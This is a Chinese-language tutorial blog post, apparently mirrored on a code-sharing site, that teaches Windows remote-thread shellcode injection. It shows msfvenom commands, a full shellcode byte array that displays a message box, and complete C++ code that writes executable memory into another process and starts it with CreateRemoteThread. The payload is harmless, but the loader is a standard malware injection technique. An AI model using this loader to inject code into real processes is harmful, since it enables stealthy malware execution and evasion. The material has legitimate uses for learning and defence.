【Windows系统编程】03.远线程注入ShellCode

这篇具有很好参考价值的文章主要介绍了【Windows系统编程】03.远线程注入ShellCode。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  • shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。

远程线程

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

int main(){
  
  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,19328);
  //创建在另一个进程的虚拟地址空间中运行的线程
  //跨进程创建线程
  CreateRemoteThread(hProcess,NULL,NULL,)
  
  system("pause");
  return 0;
}
  • kali中借助生成shellcode:
    1. 桌面打开终端:
      msfconsole
      
    2. 搜索payload:
      search MessageBox
      use 2
      show options
      
    3. 另外打开一个终端:
      msfvenom -p windows/messagebox TEXT=WdIg -f c
      
    4. 回车,shellcode就出来了,复制出来就行了

然后我们来继续写代码:

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

//这里粘贴上复制出来的代码

int main(){
  	//打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);

	//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。
	//简单理解:指定进程上挖一个洞
	LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	//跨进程写入内存
	SIZE_T dwWrittensize = 0;
	WriteProcessMemory(hProcess,
		lpBuffer,
		buf,
		257,
		&dwWrittensize
	);
	//创建远程进程
	DWORD ID;
	CreateRemoteThread(hProcess,   //指定进程句柄
		NULL,                      //安全属性
		NULL,                      //堆栈初始化大小
		(LPTHREAD_START_ROUTINE)lpBuffer,                       //函数指针,远程进程中,线程的起始地址
		NULL,                      //传递给线程函数的变量指针
		NULL,                      //创建标志,这里是立刻执行
		&ID                       //接收线程ID的指针
		);
	
  system("pause");
  return 0;
}

这里给出我写出的一个完整代码,ShellCode功能是MessageBox,显示文本为WdIg:

unsigned char buf[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x57\x64\x49\x67\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";


int main()
{
	//打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 12568);

	//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。
	//简单理解:指定进程上挖一个洞
	LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	//跨进程写入内存
	SIZE_T dwWrittensize = 0;
	WriteProcessMemory(hProcess,
		lpBuffer,
		buf,
		257,
		&dwWrittensize
	);
	//创建远程进程
	DWORD ID;
	CreateRemoteThread(hProcess,   //指定进程句柄
		NULL,                      //安全属性
		NULL,                      //堆栈初始化大小
		(LPTHREAD_START_ROUTINE)lpBuffer,                       //函数指针,远程进程中,线程的起始地址
		NULL,                      //传递给线程函数的变量指针
		NULL,                      //创建标志,这里是立刻执行
		&ID                       //接收线程ID的指针
		);
	
	system("pause");
	return 0;
}

执行效果:
【Windows系统编程】03.远线程注入ShellCode,Windows系统编程,windows,笔记,安全

这里的进程ID是任务管理器上看的,大家可以创建进程快照,遍历进程快照以注入到自己想要的进程中(上一篇文章有讲到)文章来源地址https://www.toymoban.com/news/detail-657284.html

到了这里,关于【Windows系统编程】03.远线程注入ShellCode的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【C语言】Windows下的C语言线程编程详解

    在Windows平台下,C语言提供了一套丰富的线程( Thread )编程接口,使得开发者可以轻松地实现多线程并发操作。本文将详细介绍如何在Windows环境下使用C语言创建、管理和同步线程,以及一些常见的线程操作技巧。 这里指的是使用MSVC编译,Windows下也可以使用gcc,这时可以使

    2024年04月29日
    浏览(48)
  • Windows编程学习笔记04-Windows编程字符集

    总的来讲,由于历史和发展的原因,产生了 Unicode 和 多字节字符集(MBCS、DBCS、ANSI)。在早期,使用Unicode占用内存多,使用多字节字符集又无法国际化。所以使用 WindowsAPI 以及CC++ 进行Windows编程时有两种字符集,如一些WindowsAPI都会存在两个版本(比如 MessageBoxA 和 MessageBo

    2024年02月04日
    浏览(44)
  • 【学习笔记】Windows 下线程同步之互斥锁

    本文所涉及的同步主要描述在 Windows 环境下的机制,和 Linux 中的同步机制有一定的联系,但注意并不完全相同。类似于,Windows 和 Linux 按照自己的方式实现了操作系统中同步机制的概念 本文记录的是 Windows 下的互斥锁同步机制,但在 Windows 的同步机制中,其中很多的概念和

    2024年02月06日
    浏览(80)
  • TCP/IP网络编程 第十九章:Windows平台下线程的使用

    要想掌握Windows平台下的线程,应首先理解“内核对象”(Kernel Objects)的概念。如果仅介绍Windows平台下的线程使用技巧,则可以省略相对陌生的内核对象相关内容。但这并不能使各位深入理解Windows平台下的线程。 内核对象的定义 操作系统创建的资源有很多种,如进程、线程

    2024年02月16日
    浏览(53)
  • [笔记]Windows核心编程《十九》DLL基础

    [笔记]Windows核心编程《一》错误处理、字符编码 [笔记]Windows核心编程《二》内核对象 [笔记]Windows核心编程《三》进程 [笔记]Windows核心编程《四》作业 [笔记]快乐的LInux命令行《五》什么是shell [笔记]Windows核心编程《五》线程基础 [笔记]Windows核心编程《六》线程调度、优先级

    2024年02月04日
    浏览(37)
  • 跟着李沐学AI(动手学深度学习 PyTorch版)学习笔记——03安装(环境配置d2l、pytorch)(python3.7版本+Windows+各种问题解决措施)

    1.下载Miniconda下载地址 2.在安装过程中需要勾选“Add Anaconda to the system PATH environment variable”选项 3.检验win+R,输入cmd,在文本框输入conda --version 1.点击该链接+点击jupyter记事本下载压缩包 2.解压该压缩包 3.在解压后的文件夹地址栏输入cmd回车进入命令模式。 1.conda和pip默认使⽤

    2024年02月12日
    浏览(57)
  • 1.12 进程注入ShellCode套接字

    在笔者前几篇文章中我们一直在探讨如何利用 Metasploit 这个渗透工具生成 ShellCode 以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向 ShellCode Shell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能

    2024年02月10日
    浏览(50)
  • 笔记本禁用自带键盘(windows系统)

    使用 win系统笔记本 的小伙伴接入了键盘外设,同时又想要禁用笔记本自带的键盘,无论是出于对笔记本键盘的嫌弃,还是为了防止误触等等,那么希望本篇文章能够帮助到你 确保笔记本外设键盘连接好 找到设备管理器(win10 / win11,直接win+x搜索 设备管理器 进入即可) 找到

    2024年02月08日
    浏览(75)
  • Tryton开源ERP系统windows安装笔记(一)

                    Tryton ERP 简介 环境准备 安装msys2 目录规划 数据库环境 前端代码部署 环境检查 安装步骤 创建python虚拟环境 server后端安装 server前端安装 编制server启动配置文件 初始化数据库 服务端启动和验证 启动服务 验证服务 ​后记 Tryton ERP 简介 Tryton ERP (Tryto

    2024年03月17日
    浏览(44)
  • [笔记]深入解析Windows操作系统《四》管理机制

    本章讲述了Microsoft Windows操作系统中四种基本的机制,它们对于系统的管理和配置至关重要,它们是: 注册表(Registry) 服务(Service) 统一的背景进程管理器(UBPM) Windows管理设施(WMI) Windows诊断基础设施(WDI) 注册表在Windows系统的配置和控制方面扮演了一个非常关键的角色。 它既是系

    2024年02月04日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包